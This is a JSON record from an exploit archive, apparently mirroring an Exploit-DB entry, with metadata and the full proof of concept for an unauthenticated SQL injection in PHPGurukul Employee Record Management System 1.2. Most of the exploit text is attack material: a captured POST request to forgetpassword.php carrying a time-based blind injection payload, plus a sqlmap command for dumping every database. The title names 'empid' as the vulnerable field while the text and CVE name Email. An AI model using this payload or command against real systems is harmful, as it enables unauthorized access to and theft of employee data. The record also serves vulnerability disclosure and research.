{"exploit":{"id":"EDB-50467","name":"PHPGurukul Employee Record Management System 1.2 - 'empid' Unauthenticated SQL Injection (SQLi)","description":"PHPGurukul Employee Record Management System 1.2 - 'empid' Unauthenticated SQL Injection (SQLi)","cves":["CVE-2021-43451"],"author":"Anubhav Singh","published":"2021-11-02","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50467","path":"exploits/php/webapps/50467.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50467.txt","vulnerabilities":[{"id":"CVE-2021-43451","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL Injection vulnerability exists in PHPGURUKUL Employee Record Management System 1.2 via the Email POST parameter in /forgetpassword.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-43451","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-43451"},"updatedAt":"2024-08-04T03:55:29.236Z","retrievedAt":"2026-11-27T12:09:49.460Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50467.png?v=2","url":"https://exploitbin.com/exploits/EDB-50467","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50467/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50467/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)\n# Exploit Author: Anubhav Singh\n# Date: 2021-10-31\n# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/\n# Version: 1.2\n# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967\n# Tested On: Windows 10, XAMPP\n# Vulnerable Parameter: Email\n\nSteps to Reproduce:\n\n1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.\n2) Create a txt file and paste this request.\n\nRequest:\n=======\nPOST /employee_record/erms/forgetpassword.php HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 110\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/employee_record/erms/forgetpassword.php\nCookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\n\nEmail=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset\n\n-----------------------------------------------------------------------------------------------------------------\n\n3) Send this request to sqlmap\n4) command : python sqlmap.py -r request.txt -p Email --dbs\n5) We can retrieve all databases using above sqlmap command","sha256":"198a6f7f80ff964abe09382370d2389f1a9d4f3002ba965578870e0e8724043c","bytes":1680,"fetchedAt":"2026-11-27T12:09:45.239Z","encoding":"utf-8 (display only; download retains original bytes)"}